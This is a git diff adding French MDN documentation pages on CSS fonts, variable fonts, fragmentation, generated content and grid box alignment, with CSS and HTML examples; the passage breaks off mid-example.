+<h2 id="Amélioration_progressive_et_anciens_navigateurs">Amélioration progressive et anciens navigateurs</h2>
+
+<p>La prise en charge des polices variables peut être vérifié grâce à {{cssxref("@supports")}}. Il est donc possible d'utiliser des polices variables en production et de limiter la portée des polices variables à l'intérieur d'une requête de prise en charge.</p>
+
+<pre class="brush: css">h1 {
+ font-family: some-non-variable-font-family;
+}
+
+@supports (font-variation-settings: 'wdth' 115) {
+ h1 {
+    font-family: some-variable-font-family;
+ }
+}</pre>
+
+<h2 id="Pages_d'exemples">Pages d'exemples</h2>
+
+<p>Les pages d'exemples suivantes illustrent deux façons pour structurer le CSS. La première utilise les attributs standards où c'est possible et la seconde utilise les propriétés personnalisées afin de définir les valeur pour la chaîne de caractères fournie à <code>font-variation-settings</code> et montre comment mettre à jour une valeur plutôt que de redéfinir l'intégralité de la chaîne de caractères. On notera aussi l'effet au survol (<em>hover</em>) sur l'élément <code>h2</code> qui ne joue que sur l'axe de grade.</p>
+
+<div>{{EmbedGHLiveSample("css-examples/variable-fonts/sample-page.html", '100%', 1220)}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://drafts.csswg.org/css-fonts-4">Module de spécification CSS Fonts de niveau 4 (au stade de brouillon) (en anglais)</a></li>
+ <li><a href="https://docs.microsoft.com/en-us/typography/opentype/spec/otvaroverview">Introduction Microsoft aux variations Open Type (en anglais)</a></li>
+ <li><a href="https://docs.microsoft.com/en-us/typography/opentype/spec/dvaraxisreg">Registre des étiquettes d'axe de variation - Microsoft OpenType Design (en anglais)</a></li>
+ <li><a href="https://wakamaifondue.com">Wakamai Fondue (en anglais)</a> (un site qui permet d'explorer les axes et caractéristiques d'une police)</li>
+ <li><a href="https://www.axis-praxis.org">Axis Praxis (en anglais)</a> (une site qui permet de manipuler les axes de polices variables)</li>
+ <li><a href="https://v-fonts.com">V-Fonts.com (en anglais)</a> (un catalogue de polices variables)</li>
+ <li><a href="https://play.typedetail.com">Font Playground (en anglais)</a> (un autre site de manipulation des polices variables)</li>
+</ul>
diff --git a/files/fr/web/css/css_fonts/index.html b/files/fr/web/css/css_fonts/index.html
new file mode 100644
index 0000000000..ac5fb425fd
--- /dev/null
+++ b/files/fr/web/css/css_fonts/index.html
@@ -0,0 +1,142 @@
+---
+title: CSS Fonts
+slug: Web/CSS/CSS_Fonts
+tags:
+  - Aperçu
+  - CSS
+  - CSS Fonts
+  - Reference
+translation_of: Web/CSS/CSS_Fonts
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Fonts</strong> est un module CSS qui définit des propriétés relatives aux polices de caractères et la façon dont les ressources des polices sont chargées. Il permet de définir le style d'une police, comme sa famille, sa taille ou sa graisse ainsi que la variante du glyphe à utiliser dans le cas des polices disposant de plusieurs glyphes par caractère. Il permet également de définir la hauteur d'une ligne.</p>
+
+<h2 id="Exemple_simple">Exemple simple</h2>
+
+<p>L'exemple qui suit illustre l'utilisation simple de propriétés relatives aux polices afin de mettre en forme le texte d'un paragraphe.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  width: 600px;
+  margin: 0 auto;
+  font-family: "Helvetica Neue", "Arial",  sans-serif;
+  font-style: italic;
+  font-weight: 100;
+  font-variant-ligatures: normal;
+  font-size: 2rem;
+  letter-spacing: 1px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+   Alice ne fut pas très-étonnée, tant elle commençait à s’habituer aux
+   événements extraordinaires. Tandis qu’elle regardait encore l’endroit
+   que le Chat venait de quitter, il reparut tout à coup.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemple_simple', '100%', '200')}}</p>
+
+<h2 id="Exemples_utilisant_les_polices_variables">Exemples utilisant les polices variables</h2>
+
+<p>Vous pouvez trouver plusieurs exemples utilisant les polices variables sur <a href="https://v-fonts.com/">v-fonts.com</a> et <a href="https://www.axis-praxis.org/">axis-praxis.org</a>. Notre <a href="/fr/docs/Web/CSS/CSS_Fonts/Variable_Fonts_Guide">guide sur les polices variables</a> contient des informations et des exemples d'utilisation.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("font")}}</li>
+ <li>{{cssxref("font-family")}}</li>
+ <li>{{cssxref("font-feature-settings")}}</li>
+ <li>{{cssxref("font-kerning")}}</li>
+ <li>{{cssxref("font-language-override")}}</li>
+ <li>{{cssxref("font-optical-sizing")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("font-size-adjust")}}</li>
+ <li>{{cssxref("font-stretch")}}</li>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-synthesis")}}</li>
+ <li>{{cssxref("font-variant")}}</li>
+ <li>{{cssxref("font-variant-alternates")}}</li>
+ <li>{{cssxref("font-variant-caps")}}</li>
+ <li>{{cssxref("font-variant-east-asian")}}</li>
+ <li>{{cssxref("font-variant-ligatures")}}</li>
+ <li>{{cssxref("font-variant-numeric")}}</li>
+ <li>{{cssxref("font-variant-position")}}</li>
+ <li>{{cssxref("font-variation-settings")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("line-height")}}</li>
+</ul>
+</div>
+
+<h3 id="Règles">Règles @</h3>
+
+<dl>
+ <dt>{{cssxref("@font-face")}}</dt>
+ <dd>
+ <div class="index">
+ <ul>
+  <li>{{cssxref("@font-face/font-family", "font-family")}}</li>
+  <li>{{cssxref("@font-face/font-feature-settings", "font-feature-settings")}}</li>
+  <li>{{cssxref("@font-face/font-style", "font-style")}}</li>
+  <li>{{cssxref("@font-face/font-variant", "font-variant")}}</li>
+  <li>{{cssxref("@font-face/font-weight", "font-weight")}}</li>
+  <li>{{cssxref("@font-face/font-stretch", "font-stretch")}}</li>
+  <li>{{cssxref("@font-face/src", "src")}}</li>
+  <li>{{cssxref("@font-face/unicode-range", "unicode-range")}}</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{cssxref("@font-feature-values")}}</dt>
+</dl>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte">Mise en forme du texte et utilisation des polices</a></dt>
+ <dd>Dans cet article, destiné aux débutants, nous abordons en détail les fonctionnalités pour la mise en forme du texte et la modification de la police.</dd>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Fonts/Guide_caractéristiques_police_OpenType">Guide sur les caractéristiques de police OpenType</a></dt>
+ <dd>Les caractéristiques de police ou variantes font référence à différents glyphes ou styles de caractère contenus dans une police OpenType. Cela inclut notamment les ligatures (des caractères spéciaux qui permettent de combiner des caractères entre eux comme œ qui est la ligature entre o et e), le crénage, etc. Toutes ces caractéristiques sont des caractéristiques OpenType Features et peuvent être utilisées sur le Web grâce à certaines propriétés spécifiques qui permettent un contrôle de bas niveau comme {{cssxref("font-feature-settings")}}. Dans cet article, nous verrons tout ce qu'il faut savoir pour manipuler les caractéristiques OpenType avec CSS.</dd>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Fonts/Guide_polices_variables">Guide sur les polices variables</a></dt>
+ <dd>Les polices variables sont une évolution de la spécification OpenType qui permet de faire varier différents axes d'une police (provenant d'un seul fichier) plutôt que d'avoir plusieurs polices d'une même fonte. Cet article fournit l'ensemble des informations nécessaires à l'exploration des polices variables.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td>Ajout de <code>font-variation-settings</code> (ainsi que des propriétés de haut niveau associées) et de <code>font-optical-sizing</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Ajout de <code>font-feature-settings</code> (ainsi que des propriétés de haut niveau associées)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#font-shorthand', '')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font', '')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_fragmentation/index.html b/files/fr/web/css/css_fragmentation/index.html
new file mode 100644
index 0000000000..e6e860fb54
--- /dev/null
+++ b/files/fr/web/css/css_fragmentation/index.html
@@ -0,0 +1,48 @@
+---
+title: CSS Fragmentation
+slug: Web/CSS/CSS_Fragmentation
+tags:
+  - Aperçu
+  - CSS
+  - CSS Fragmentation
+  - NeedsContent
+  - Reference
+translation_of: Web/CSS/CSS_Fragmentation
+---
+<div>{{cssref}}</div>
+
+<p><em><strong>CSS Fragmentation</strong></em> est un module CSS qui décrit la façon dont le contenu est divisé (fragmenté) entre plusieurs <a href="/en-US/docs/Web/CSS/Paged_Media">pages</a>, régions ou <a href="/en-US/docs/Web/CSS/CSS_Columns">colonnes</a>.</p>
+
+<p>La fragmentation se produit lorsqu'une boîte en ligne se retrouve sur plusieurs lignes ou lorsqu'un bloc s'étend sur plus d'une colonne au sein d'un conteneur de colonne ou sur un saut de page lorsque le document est imprimé. Chaque morceau de l'élément ainsi divisé est appelé un <em>fragment</em>.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("box-decoration-break")}}</li>
+ <li>{{cssxref("break-after")}}</li>
+ <li>{{cssxref("break-before")}}</li>
+ <li>{{cssxref("break-inside")}}</li>
+ <li>{{cssxref("orphans")}}</li>
+ <li>{{cssxref("widows")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fragmentation')}}</td>
+   <td>{{Spec2('CSS3 Fragmentation')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_generated_content/index.html b/files/fr/web/css/css_generated_content/index.html
new file mode 100644
index 0000000000..09d0a27ed9
--- /dev/null
+++ b/files/fr/web/css/css_generated_content/index.html
@@ -0,0 +1,48 @@
+---
+title: CSS Generated Content
+slug: Web/CSS/CSS_Generated_Content
+tags:
+  - Aperçu
+  - CSS
+  - CSS Generated Content
+  - Reference
+translation_of: Web/CSS/CSS_Generated_Content
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Generated Content</strong></em> est un module CSS qui définit comment ajouter du contenu à un élément.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("content")}}</li>
+ <li>{{cssxref("quotes")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Content")}}</td>
+   <td>{{Spec2("CSS3 Content")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_grid_layout/alignement_des_boîtes_avec_les_grilles_css/index.html b/files/fr/web/css/css_grid_layout/alignement_des_boîtes_avec_les_grilles_css/index.html
new file mode 100644
index 0000000000..8353f2c29e
--- /dev/null
+++ b/files/fr/web/css/css_grid_layout/alignement_des_boîtes_avec_les_grilles_css/index.html
@@ -0,0 +1,661 @@
+---
+title: L'alignement des boîtes avec les grilles CSS
+slug: Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS
+tags:
+  - CSS
+  - CSS Grid
+  - Grille CSS
+  - Guides
+  - Intermédiaire
+translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture","Web/CSS/CSS_Grid_Layout")}}</p>
+
+<p>Si vous connaissez <a href="/fr/docs/Web/CSS/Disposition_des_boîtes_flexibles_CSS">les boîtes flexibles (flexbox)</a> vous savez déjà comment aligner les éléments flexibles à l'intérieur d'un conteneur flexible. Ces propriétés d'alignement, initialement spécifiée dans la spécification des boîtes flexibles, sont désormais spécifiées dans une nouvelle spécification <a href="https://drafts.csswg.org/css-align/">Box Alignment Level 3</a>. Cette spécification détaille le fonctionnement de l'alignement pour les différentes méthodes de disposition.</p>
+
+<p>Chaque méthode de disposition qui implémente cette nouvelle spécification se comportera légèrement différemment selon les différences de contraintes et de fonctionnalités (et aussi selon le comportement historique). On ne pourra donc pas avoir un alignement exactement homogène. La spécification pour l'alignement des boîtes détaille le fonctionnement de chaque méthode mais malheureusement, à l'heure actuelle, aucun navigateur ne prend en charge cette spécification. À l'heure actuelle, les navigateurs respectent les règles de cette spécification pour l'alignement et la répartition de l'espace lorsqu'on utilise une disposition en grille. Dans cet article, nous verrons comment celles-ci fonctionnent. On retrouvera de nombreux points communs avec les boîtes flexibles pour le fonctionnement de ces propriétés et valeurs. Toutefois, les grilles fonctionnant sur deux axes et les boîtes flexibles sur un seul, il faudra faire attention à quelques différences. Commençons par analyser les deux axes utilisés lorsqu'il s'agit d'aligner des objets sur une grille.</p>
+
+<h2 id="Les_deux_axes_dune_grille">Les deux axes d'une grille</h2>
+
+<p>Lorsqu'on manipule une grille, on dispose  de deux axes sur lesquels aligner les objets. L'axe de bloc et l'axe en ligne. L'axe de bloc est l'axe selon lequel les blocs sont disposés quand on a une disposition en bloc (<em>block layout</em>). Par exemple, si on a deux paragraphes sur une page, par défaut, ils s'affichent l'un en dessous de l'autre.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/14725/7_Block_Axis.png" style="height: 306px; width: 940px;"></p>
+
+<p><strong>L'axe en ligne est orthogonal à l'axe de bloc. C'est la direction selon laquelle progresse le texte.</strong></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14773/7_Inline_Axis.png" style="height: 306px; width: 940px;"></p>
+
+<p>Grâce aux propriétés et à leurs valeurs, nous serons en mesure d'aligner le contenu de la grillle par rapport à ces deux axes.</p>
+
+<h2 id="Aligner_des_objets_sur_laxe_de_bloc_block_axis">Aligner des objets sur l'axe de bloc (<em>block axis</em>)</h2>
+
+<p>Les propriétés {{cssxref("align-self")}} et {{cssxref("align-items")}} permettent de contrôler l'alignement selon l'axe de bloc. Lorsqu'on utilise ces propriétés, on modifie l'alignement de l'objet au sein de la zone de grille sur laquelle il est placé.</p>
+
+<p>Dans l'exemple suivant, on a quatre zones sur la grille. On peut utiliser la propriété {{cssxref("align-items")}} sur le conteneur de la grille afin d'aligner les objets avec l'une des valeurs suivantes :</p>
+
+<ul>
+ <li><code>auto</code></li>
+ <li><code>normal</code></li>
+ <li><code>start</code></li>
+ <li><code>end</code></li>
+ <li><code>center</code></li>
+ <li><code>stretch</code></li>
+ <li><code>baseline</code></li>
+ <li><code>first baseline</code></li>
+ <li><code>last baseline</code></li>
+</ul>
+
+<div id="alignment_1">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+  align-items: start;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Objet 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('alignment_1', '500', '450')}}</p>
+</div>
+
+<p>Lorsqu'on utilise <code>align-self: start</code>, la hauteur de chaque <code>&lt;div&gt;</code> sera déterminée par le contenu du <code>&lt;div&gt;</code>. En revanche, si on n'utilise pas {{cssxref("align-self")}}, chaque <code>&lt;div&gt;</code> sera étiré afin de remplir la zone de la grille.</p>
+
+<p>La propriété {{cssxref("align-items")}} définit en fait la valeur de la propriété {{cssxref("align-self")}} pour tous les éléments fils de la grille. Cela signifie qu'on peut avoir un réglage plus fin sur chacun des objets de la grille en utilisant <code>align-self</code> pour les objets.</p>
+
+<p>Dans le prochain exemple, on utilise la propriété <code>align-self</code> afin d'illustrer les différentes valeurs pour l'alignement. La première zone illustre le comportement par défaut pour <code>align-self</code> : l'objet est étiré. Le deuxième objet utilise la valeur <code>start</code>, le troisième utilise <code>end</code> et le quatrième utilise <code>center</code>.</p>
+
+<div id="alignment_2">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+  align-self: start;
+}
+.item3 {
+  grid-area: c;
+  align-self: end;
+}
+.item4 {
+  grid-area: d;
+  align-self: center;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Objet 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('alignment_2', '500', '450')}}</p>
+</div>
+
+<h3 id="Gestion_des_objets_avec_un_ratio_intrinsèque">Gestion des objets avec un ratio intrinsèque</h3>
+
+<p>La spécification indique que le comportement par défaut pour {{cssxref("align-self")}} est d'étirer l'objet sauf si celui-ci possède un ratio intrinsèque. Dans ce cas, le comportement par défaut correspond à la valeur <code>start</code>. En effet, si le comportement par défaut était le même pour les éléments avec un ratio intrinsèque (une image matricielle par exemple), l'étirement distordrait l'objet.</p>
+
+<p>Bien que ce comportement ait récemment été clarifié dans la spécification, il n'est pas encore implémenté dans les différents navigateurs. Pour le moment, il faut donc s'assurer d'utiliser {{cssxref("align-self")}} et {{cssxref("justify-self")}} avec les valeurs <code>start</code> pour les éléments concernés comme les images. Cela correspondra au comportement par défaut lorsqu'il aura été implémenté.</p>
+
+<h2 id="Justifier_les_objets_sur_laxe_en_ligne_inline_axis">Justifier les objets sur l'axe en ligne (<em>inline axis</em>)</h2>
+
+<p>{{cssxref("align-items")}} et {{cssxref("align-self")}} gèrent l'alignement des objets sur l'axe de bloc. {{cssxref("justify-items")}} et {{cssxref("justify-self")}} permettent quant à eux de gérer l'alignement sur l'axe en ligne. Les valeurs disponibles sont les mêmes que pour <code>align-self</code> :</p>
+
+<ul>
+ <li><code>auto</code></li>
+ <li><code>normal</code></li>
+ <li><code>start</code></li>
+ <li><code>end</code></li>
+ <li><code>center</code></li>
+ <li><code>stretch</code></li>
+ <li><code>baseline</code></li>
+ <li><code>first baseline</code></li>
+ <li><code>last baseline</code></li>
+</ul>
+
+<p>Juste après, on voit le même exemple qu'avec {{cssxref("align-items")}} où on a utilisé la propriété {{cssxref("justify-self")}}.</p>
+
+<p>Là encore, la valeur par défaut <code>stretch</code> pour les objets qui n'ont pas de ratio intrinsèque. Cela signifie que, par défaut, les objets de la grille couvriront l'ensemble de la zone de grille sur laquelle ils sont placés. Dans l'exemple qui suit, le premier objet illustre cet alignement par défaut.</p>
+
+<div id="alignment_3">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+  justify-self: start;
+}
+.item3 {
+  grid-area: c;
+  justify-self: end;
+}
+.item4 {
+  grid-area: d;
+  justify-self: center;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Objet 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('alignment_3', '500', '450')}}</p>
+</div>
+
+<p>Comme pour {{cssxref("align-self")}} et {{cssxref("align-items")}}, on peut utiliser la propriété {{cssxref("justify-items")}} sur le conteneur de la grille afin de régler la valeur de {{cssxref("justify-self")}} pour l'ensemble des objets de la grille.</p>
+
+<p>Les propriétés {{cssxref("justify-self")}} et {{cssxref("justify-items")}} ne sont pas disponibles lorsqu'on utilise les boîtes flexibles car celles-ci s'étendent uniquement sur une dimension. Pour aligner les éléments sur l'axe principale d'une boîte flexible, on utilisera la propriété {{cssxref("justify-content")}}.</p>
+
+<h3 id="Propriétés_raccourcies">Propriétés raccourcies</h3>
+
+<p>La propriété {{CSSxRef("place-items")}} est une propriété raccourcie qui synthétise {{CSSxRef("align-items")}} et {{CSSxRef("justify-items")}}. {{CSSxRef("place-self")}} est une propriété raccourcie qui synthétise {{CSSxRef("align-self")}} et {{CSSxRef("justify-self")}}.</p>
+
+<h2 id="Centrer_un_objet_sur_une_zone">Centrer un objet sur une zone</h2>
+
+<p>En combinant les propriétés <code>align-</code><code>*</code> et <code>justify-*</code>, on peut facilement centrer un objet sur sa zone de grille.</p>
+
+<div id="alignment_4">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 200px;
+  grid-template-areas:
+    ". a a ."
+    ". a a .";
+}
+.item1 {
+  grid-area: a;
+  align-self: center;
+  justify-self: center;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('alignment_4', '500', '480')}}</p>
+</div>
+
+<h2 id="Aligner_les_pistes_dune_grille_sur_laxe_de_bloc">Aligner les pistes d'une grille sur l'axe de bloc</h2>
+
+<p>Si on a des pistes qui n'occupent pas tout l'espace du conteneur, on pourra aligner les pistes au sein du conteneur. Là aussi, on peut obtenir cet alignement sur l'axe des colonnes et l'axe des lignes : {{cssxref("align-content")}} permet d'aligner les pistes selon l'axe des colonnes et {{cssxref("justify-content")}} permettant d'aligner sur l'axe en ligne.</p>
+
+<p>La propriété {{cssxref("place-content")}} est une propriété raccourcie pour {{cssxref("align-content")}} et {{cssxref("justify-content")}}.</p>
+
+<p>Les valeurs disponibles pour {{cssxref("align-content")}}, {{cssxref("justify-content")}} et {{cssxref("place-content")}} sont :</p>
+
+<ul>
+ <li><code>normal</code></li>
+ <li><code>start</code></li>
+ <li><code>end</code></li>
+ <li><code>center</code></li>
+ <li><code>stretch</code></li>
+ <li><code>space-around</code></li>
+ <li><code>space-between</code></li>
+ <li><code>space-evenly</code></li>
+ <li><code>baseline</code></li>
+ <li><code>first baseline</code></li>
+ <li><code>last baseline</code></li>
+</ul>
+
+<p>Dans l'exemple qui suit, on a un conteneur qui mesure 500 pixels de haut sur 500 pixels de large. On définit trois pistes de ligne et trois pistes de colonnes qui mesurent chacune 100 pixels et avec une gouttière de 10 pixels. On a donc un espace disponible dans le conteneur dans chaque direction.</p>
+
+<p>La propriété <code>align-content</code> s'applique sur le conteneur de la grille car elle porte sur l'ensemble de la grille. Pour une disposition en grille, la valeur par défaut est <code>start</code> : cela indique que les pistes commencent à partir du coin en haut à gauche de la grille.</p>
+
+<div id="alignment_5">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Objet 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('alignment_5', '500', '520')}}</p>
+</div>
+
+<p>Si on ajoute <code>align-content</code> avec la valeur <code>end</code> sur le conteneur, les pistes seront déplacées à la fin du conteneur selon l'axe des colonnes.</p>
+
+<div id="alignment_6">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: end;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Objet 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('alignment_6', '500', '520')}}</p>
+</div>
+
+<p>Pour cette propriété, on peut également utiliser des valeurs qu'on manipule avec les boîtes flexibles : <code>space-between</code>, <code>space-around</code> et <code>space-evenly</code> qui permettent de répartir l'espace. Si on utilise {{cssxref("align-content")}} avec <code>space-between</code> pour notre exemple, on voit alors que les éléments sont espacés de façon équitable.</p>
+
+<div id="alignment_7">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
